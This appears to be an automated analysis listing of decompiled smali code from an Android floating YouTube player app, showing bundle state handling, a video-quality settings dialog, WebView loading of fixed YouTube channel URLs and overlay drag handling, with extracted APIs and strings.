0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/os/Bundle;",
4"Ljava/lang/String;",
5")",
6"Lcom/mikepenz/a/b",
7"<TItem;>;"
8}
9.end annotation
10.prologue
11const/4 v1, 0x0
12if-eqz p1, :cond_c3
14invoke-virtual {p0}, Lcom/mikepenz/a/b;->g()V
15iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
16if-eqz v0, :cond_63
17new-instance v0, Ljava/lang/StringBuilder;
19invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
21const-string v2, "bundle_expanded"
23invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_expanded
24move-result-object v0
26invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
27move-result-object v0
29invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
30move-result-object v0
32invoke-virtual {p1, v0}, Landroid/os/Bundle;->getIntArray(Ljava/lang/String;)[I
33move-result-object v2
34if-eqz v2, :cond_37
35array-length v3, v2
36move v0, v1
37goto_25: if-ge v0, v3, :cond_37
38aget v4, v2, v0
40invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
41move-result-object v4
43invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
44move-result v4
46invoke-virtual {p0, v4}, Lcom/mikepenz/a/b;->n(I)V
47add-int/lit8 v0, v0, 0x1
48goto/16 :goto_25
49cond_37: new-instance v0, Ljava/lang/StringBuilder;
51invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
53const-string v2, "bundle_selections"
55invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_selections
56move-result-object v0
58invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
59move-result-object v0
61invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
62move-result-object v0
64invoke-virtual {p1, v0}, Landroid/os/Bundle;->getIntArray(Ljava/lang/String;)[I
65move-result-object v0
66if-eqz v0, :cond_c3
67array-length v2, v0
68goto_51: if-ge v1, v2, :cond_c3
69aget v3, v0, v1
71invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
72move-result-object v3
74invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
75move-result v3
77invoke-virtual {p0, v3}, Lcom/mikepenz/a/b;->j(I)V
78add-int/lit8 v1, v1, 0x1
79goto/16 :goto_51
80cond_63: new-instance v0, Ljava/lang/StringBuilder;
82invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
84const-string v2, "bundle_expanded"
86invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_expanded
87move-result-object v0
89invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
90move-result-object v0
92invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
93move-result-object v0
95invoke-virtual {p1, v0}, Landroid/os/Bundle;->getStringArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
96move-result-object v2
97new-instance v0, Ljava/lang/StringBuilder;
99invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
101const-string v3, "bundle_selections"
103invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_selections
104move-result-object v0
106invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
107move-result-object v0
109invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
110move-result-object v0
112invoke-virtual {p1, v0}, Landroid/os/Bundle;->getStringArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
113move-result-object v3
115invoke-virtual {p0}, Lcom/mikepenz/a/b;->a()I
116move-result v0
117goto_95: if-ge v1, v0, :cond_c3
119invoke-virtual {p0, v1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
  • Data flow analysis:
    • p0: 0
120move-result-object v4
122invoke-interface {v4}, Lcom/mikepenz/a/g;->d()J
123move-result-wide v6
125invoke-static {v6, v7}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
126move-result-object v5
127if-eqz v2, :cond_b2
129invoke-virtual {v2, v5}, Ljava/util/ArrayList;->contains(Ljava/lang/Object;)Z
130move-result v6
131if-eqz v6, :cond_b2
133invoke-virtual {p0, v1}, Lcom/mikepenz/a/b;->n(I)V
  • Data flow analysis:
    • p0: 0
135invoke-virtual {p0}, Lcom/mikepenz/a/b;->a()I
136move-result v0
137cond_b2: if-eqz v3, :cond_bd
139invoke-virtual {v3, v5}, Ljava/util/ArrayList;->contains(Ljava/lang/Object;)Z
140move-result v5
141if-eqz v5, :cond_bd
143invoke-virtual {p0, v1}, Lcom/mikepenz/a/b;->j(I)V
  • Data flow analysis:
    • p0: 0
144cond_bd:
145invoke-static {v4, v3}, Lcom/mikepenz/a/d/a;->a(Lcom/mikepenz/a/g;Ljava/util/List;)V
146add-int/lit8 v1, v1, 0x1
147goto/16 :goto_95
148cond_c3: return-object p0
Cross References
APIs
  • java.util.Set.size
  • java.util.Set.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Integer.intValue
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.os.Bundle.putIntArray
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.mikepenz.a.b.i
  • android.os.Bundle.putIntArray
  • java.util.ArrayList.<init>
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.e
  • java.lang.String.valueOf
  • java.util.ArrayList.add
  • java.lang.String.valueOf
  • java.util.ArrayList.add
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.os.Bundle.putStringArrayList
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.os.Bundle.putStringArrayList
Strings
  • bundle_selections
  • bundle_expanded
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2if-eqz p1, :cond_5c
3iget-boolean v1, p0, Lcom/mikepenz/a/b;->k:Z
4if-eqz v1, :cond_5d
6iget-object v1, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
8invoke-interface {v1}, Ljava/util/Set;->size()I
9move-result v1
10new-array v2, v1, [I
12iget-object v1, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
14invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
15move-result-object v3
16move v1, v0
17goto_16:
18invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
19move-result v0
20if-eqz v0, :cond_2c
22invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
23move-result-object v0
24check-cast v0, Ljava/lang/Integer;
26invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
27move-result v0
28aput v0, v2, v1
29add-int/lit8 v0, v1, 0x1
30move v1, v0
31goto/16 :goto_16
32cond_2c: new-instance v0, Ljava/lang/StringBuilder;
34invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
36const-string v1, "bundle_selections"
38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_selections
39move-result-object v0
41invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
42move-result-object v0
44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
45move-result-object v0
47invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->putIntArray(Ljava/lang/String;[I)V
48new-instance v0, Ljava/lang/StringBuilder;
50invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
52const-string v1, "bundle_expanded"
54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_expanded
55move-result-object v0
57invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v0
60invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v0
63invoke-virtual {p0}, Lcom/mikepenz/a/b;->i()[I
64move-result-object v1
66invoke-virtual {p1, v0, v1}, Landroid/os/Bundle;->putIntArray(Ljava/lang/String;[I)V
67cond_5c: return-object p1
68cond_5d: new-instance v3, Ljava/util/ArrayList;
70invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
71new-instance v4, Ljava/util/ArrayList;
73invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
75invoke-virtual {p0}, Lcom/mikepenz/a/b;->a()I
76move-result v5
77move v2, v0
78goto_6c: if-ge v2, v5, :cond_a2
80invoke-virtual {p0, v2}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
81move-result-object v1
82instance-of v0, v1, Lcom/mikepenz/a/e;
83if-eqz v0, :cond_8a
84move-object v0, v1
85check-cast v0, Lcom/mikepenz/a/e;
87invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
88move-result v0
89if-eqz v0, :cond_8a
91invoke-interface {v1}, Lcom/mikepenz/a/g;->d()J
92move-result-wide v6
94invoke-static {v6, v7}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
95move-result-object v0
97invoke-virtual {v4, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
98cond_8a:
99invoke-interface {v1}, Lcom/mikepenz/a/g;->f()Z
100move-result v0
101if-eqz v0, :cond_9b
103invoke-interface {v1}, Lcom/mikepenz/a/g;->d()J
104move-result-wide v6
106invoke-static {v6, v7}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
107move-result-object v0
109invoke-virtual {v3, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
110cond_9b:
111invoke-static {v1, v3}, Lcom/mikepenz/a/d/a;->b(Lcom/mikepenz/a/g;Ljava/util/List;)V
112add-int/lit8 v0, v2, 0x1
113move v2, v0
114goto/16 :goto_6c
115cond_a2: new-instance v0, Ljava/lang/StringBuilder;
117invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
119const-string v1, "bundle_selections"
121invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_selections
122move-result-object v0
124invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
125move-result-object v0
127invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
128move-result-object v0
130invoke-virtual {p1, v0, v3}, Landroid/os/Bundle;->putStringArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
131new-instance v0, Ljava/lang/StringBuilder;
133invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
135const-string v1, "bundle_expanded"
137invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: bundle_expanded
138move-result-object v0
140invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
141move-result-object v0
143invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
144move-result-object v0
146invoke-virtual {p1, v0, v4}, Landroid/os/Bundle;->putStringArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
147goto/16 :goto_5c
APIs
  • android.view.View.getId
  • android.support.design.widget.Snackbar.a
  • android.view.View.findViewById
  • android.graphics.Color.parseColor
  • android.widget.TextView.setTextColor
  • android.support.design.widget.Snackbar.b
  • android.app.AlertDialog$Builder.<init>
  • android.app.AlertDialog$Builder.setTitle
  • android.app.AlertDialog$Builder.setPositiveButton
  • com.pedqaesf.app.INSSettingsActivity.getString
  • android.content.SharedPreferences.getInt
  • android.util.Log.d
  • android.app.AlertDialog$Builder.setSingleChoiceItems
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • com.pedqaesf.app.INSSettingsActivity.startActivity
Strings
  • Action Coming soon
  • #e52d27
  • Video Quality
  • Done
  • Auto
  • 1080p
  • 720p
  • 480p
  • 360p
  • 240p
  • 144p
  • Old Quality
  • android.intent.action.VIEW
  • https://www.facebook.com/FloatingTubeApp/
Position Instruction Meta Information
0.prologue
1const/4 v6, 0x3
2const/4 v4, 0x1
3const/4 v5, 0x0
5invoke-virtual {p1}, Landroid/view/View;->getId()I
6move-result v0
7sparse-switch v0, :sswitch_data_a2
9iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->t:Landroid/support/design/widget/CoordinatorLayout;
11const-string v1, "Action Coming soon"
12const/4 v2, -0x1
14invoke-static {v0, v1, v2}, Landroid/support/design/widget/Snackbar;->a(Landroid/view/View;Ljava/lang/CharSequence;I)Landroid/support/design/widget/Snackbar;
  • Data flow analysis:
    • p1: Action Coming soon
15move-result-object v1
17invoke-virtual {v1}, Landroid/support/design/widget/Snackbar;->a()Landroid/view/View;
18move-result-object v0
19const v2, 0x7f0f00a9
21invoke-virtual {v0, v2}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131689641
22move-result-object v0
23check-cast v0, Landroid/widget/TextView;
25const-string v2, "#e52d27"
27invoke-static {v2}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
  • Data flow analysis:
    • colorString: #e52d27
28move-result v2
30invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTextColor(I)V
32invoke-virtual {v1}, Landroid/support/design/widget/Snackbar;->b()V
33goto_2c: return-void
34sswitch_2d: new-array v0, v4, [I
35new-instance v1, Landroid/app/AlertDialog$Builder;
37invoke-direct {v1, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
39const-string v2, "Video Quality"
41invoke-virtual {v1, v2}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: Video Quality
43const-string v2, "Done"
44new-instance v3, Lcom/pedqaesf/app/INSSettingsActivity$2;
46invoke-direct {v3, p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity$2;-><init>(Lcom/pedqaesf/app/INSSettingsActivity;[I)V
48invoke-virtual {v1, v2, v3}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: Done
49const/4 v2, 0x7
50new-array v2, v2, [Ljava/lang/String;
52const-string v3, "Auto"
53aput-object v3, v2, v5
55const-string v3, "1080p"
56aput-object v3, v2, v4
57const/4 v3, 0x2
59const-string v4, "720p"
60aput-object v4, v2, v3
62const-string v3, "480p"
63aput-object v3, v2, v6
64const/4 v3, 0x4
66const-string v4, "360p"
67aput-object v4, v2, v3
68const/4 v3, 0x5
70const-string v4, "240p"
71aput-object v4, v2, v3
72const/4 v3, 0x6
74const-string v4, "144p"
75aput-object v4, v2, v3
77iget-object v3, p0, Lcom/pedqaesf/app/INSSettingsActivity;->v:Landroid/content/SharedPreferences;
78const v4, 0x7f080424
80invoke-virtual {p0, v4}, Lcom/pedqaesf/app/INSSettingsActivity;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231780
81move-result-object v4
83invoke-interface {v3, v4, v6}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • p1: 3
84move-result v3
85aput v3, v0, v5
87const-string v3, "Old Quality"
89invoke-static {}, Lcom/pedqaesf/app/b;->a()Ljava/lang/String;
90move-result-object v4
92invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Old Quality
93aget v3, v0, v5
94new-instance v4, Lcom/pedqaesf/app/INSSettingsActivity$3;
96invoke-direct {v4, p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity$3;-><init>(Lcom/pedqaesf/app/INSSettingsActivity;[I)V
98invoke-virtual {v1, v2, v3, v4}, Landroid/app/AlertDialog$Builder;->setSingleChoiceItems([Ljava/lang/CharSequence;ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
100invoke-virtual {v1}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
101move-result-object v0
103invoke-virtual {v0}, Landroid/app/AlertDialog;->show()V
104goto/16 :goto_2c
105sswitch_90: new-instance v0, Landroid/content/Intent;
107const-string v1, "android.intent.action.VIEW"
109const-string v2, "https://www.facebook.com/FloatingTubeApp/"
111invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
  • Data flow analysis:
    • uriString: https://www.facebook.com/FloatingTubeApp/
112move-result-object v2
114invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
116invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->startActivity(Landroid/content/Intent;)V
117goto/16 :goto_2c
118nop
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • android.webkit.WebView.loadUrl
  • com.pedqaesf.app.INSMainActivity.getApplicationContext
  • android.content.Intent.<init>
  • com.pedqaesf.app.INSMainActivity.startActivity
Strings
  • DREWARPOSITION
  • POSITION ->
  • https://m.youtube.com/
  • https://m.youtube.com/channel/UC4R8DWoMoI7CAwX8_LjQHig
  • https://m.youtube.com/channel/UCE80FOXpJydkkMo-BYoJdEg
  • https://m.youtube.com/channel/UCUnSTiCHiHgZA9NQUG6lZkQ
  • https://m.youtube.com/channel/UCRZoK7sezr5KRjk7BBjmH6w
  • https://m.youtube.com/channel/UCBg69z2WJGVY2TbhJ1xG4AA
  • https://m.youtube.com/channel/UCTaFu5zwa9ySHWFlBo3aDPQ
  • https://m.youtube.com/channel/UCHtUkBSmt4d92XP8q17JC3w
  • https://m.youtube.com/channel/UCSkJDgBGvNOEXSQl4YNjDtQ
  • https://m.youtube.com/channel/UCEgdi0XIXXZ-qJOFPf4JSKw
  • https://m.youtube.com/channel/UCOpNcN46UbXVtpKMrmU4Abg
Position Instruction Meta Information
0.prologue
2const-string v0, "DREWARPOSITION"
3new-instance v1, Ljava/lang/StringBuilder;
5invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
7const-string v2, "POSITION ->"
9invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: POSITION ->
10move-result-object v1
12invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
13move-result-object v1
15invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
16move-result-object v1
18invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: DREWARPOSITION
19packed-switch p2, :pswitch_data_9e
20pswitch_1b:
21iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
23iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
25const-string v1, "https://m.youtube.com/"
27invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/
28goto_24: const/4 v0, 0x0
29return v0
30pswitch_26:
31iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
33iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
35const-string v1, "https://m.youtube.com/channel/UC4R8DWoMoI7CAwX8_LjQHig"
37invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UC4R8DWoMoI7CAwX8_LjQHig
38goto/16 :goto_24
39pswitch_30:
40iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
42iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
44const-string v1, "https://m.youtube.com/channel/UCE80FOXpJydkkMo-BYoJdEg"
46invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCE80FOXpJydkkMo-BYoJdEg
47goto/16 :goto_24
48pswitch_3a:
49iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
51iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
53const-string v1, "https://m.youtube.com/channel/UCUnSTiCHiHgZA9NQUG6lZkQ"
55invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCUnSTiCHiHgZA9NQUG6lZkQ
56goto/16 :goto_24
57pswitch_44:
58iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
60iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
62const-string v1, "https://m.youtube.com/channel/UCRZoK7sezr5KRjk7BBjmH6w"
64invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCRZoK7sezr5KRjk7BBjmH6w
65goto/16 :goto_24
66pswitch_4e:
67iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
69iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
71const-string v1, "https://m.youtube.com/channel/UCBg69z2WJGVY2TbhJ1xG4AA"
73invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCBg69z2WJGVY2TbhJ1xG4AA
74goto/16 :goto_24
75pswitch_58:
76iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
78iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
80const-string v1, "https://m.youtube.com/channel/UCTaFu5zwa9ySHWFlBo3aDPQ"
82invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCTaFu5zwa9ySHWFlBo3aDPQ
83goto/16 :goto_24
84pswitch_62:
85iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
87iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
89const-string v1, "https://m.youtube.com/channel/UCHtUkBSmt4d92XP8q17JC3w"
91invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCHtUkBSmt4d92XP8q17JC3w
92goto/16 :goto_24
93pswitch_6c:
94iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
96iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
98const-string v1, "https://m.youtube.com/channel/UCSkJDgBGvNOEXSQl4YNjDtQ"
100invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCSkJDgBGvNOEXSQl4YNjDtQ
101goto/16 :goto_24
102pswitch_76:
103iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
105iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
107const-string v1, "https://m.youtube.com/channel/UCEgdi0XIXXZ-qJOFPf4JSKw"
109invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCEgdi0XIXXZ-qJOFPf4JSKw
110goto/16 :goto_24
111pswitch_80:
112iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
114iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
116const-string v1, "https://m.youtube.com/channel/UCOpNcN46UbXVtpKMrmU4Abg"
118invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/channel/UCOpNcN46UbXVtpKMrmU4Abg
119goto/16 :goto_24
120pswitch_8a:
121iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
122new-instance v1, Landroid/content/Intent;
124iget-object v2, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
126invoke-virtual {v2}, Lcom/pedqaesf/app/INSMainActivity;->getApplicationContext()Landroid/content/Context;
127move-result-object v2
128const-class v3, Lcom/pedqaesf/app/INSSettingsActivity;
130invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
132invoke-virtual {v0, v1}, Lcom/pedqaesf/app/INSMainActivity;->startActivity(Landroid/content/Intent;)V
133goto/16 :goto_24
134nop
APIs
  • android.widget.LinearLayout.getLayoutParams
  • android.os.Handler.<init>
  • android.view.MotionEvent.getAction
  • android.view.MotionEvent.getRawX
  • android.view.MotionEvent.getRawY
  • android.view.MotionEvent.getRawX
  • android.view.MotionEvent.getRawY
  • android.widget.LinearLayout.setVisibility
  • android.widget.ImageView.performClick
  • android.util.Log.i
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopForeground
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopSelf
  • android.content.Intent.<init>
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopService
  • android.view.WindowManager.updateViewLayout
  • android.view.MotionEvent.getRawX
  • android.view.MotionEvent.getRawY
  • android.view.WindowManager.updateViewLayout
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
Strings
  • Inside Close
  • ...
  • APPDRAG
  • newY:
Position Instruction Meta Information
0.prologue
1const/16 v5, 0x8
2const/4 v2, 0x1
3const/4 v3, 0x0
5iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
6iget-boolean v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Z:Z
7if-eqz v0, :cond_30
9iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
11iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
12iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->K:I
13iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->R:I
14goto_12:
15sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
17invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
18move-result-object v0
19check-cast v0, Landroid/view/WindowManager$LayoutParams;
21sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
23invoke-virtual {v1}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
24move-result-object v1
25check-cast v1, Landroid/view/WindowManager$LayoutParams;
26new-instance v4, Landroid/os/Handler;
28invoke-direct {v4}, Landroid/os/Handler;-><init>()V
30invoke-virtual {p2}, Landroid/view/MotionEvent;->getAction()I
31move-result v4
32packed-switch v4, :pswitch_data_14e
33move v0, v3
34goto_2f: return v0
35cond_30:
36iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
38iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
39iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
40iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->R:I
41goto/16 :goto_12
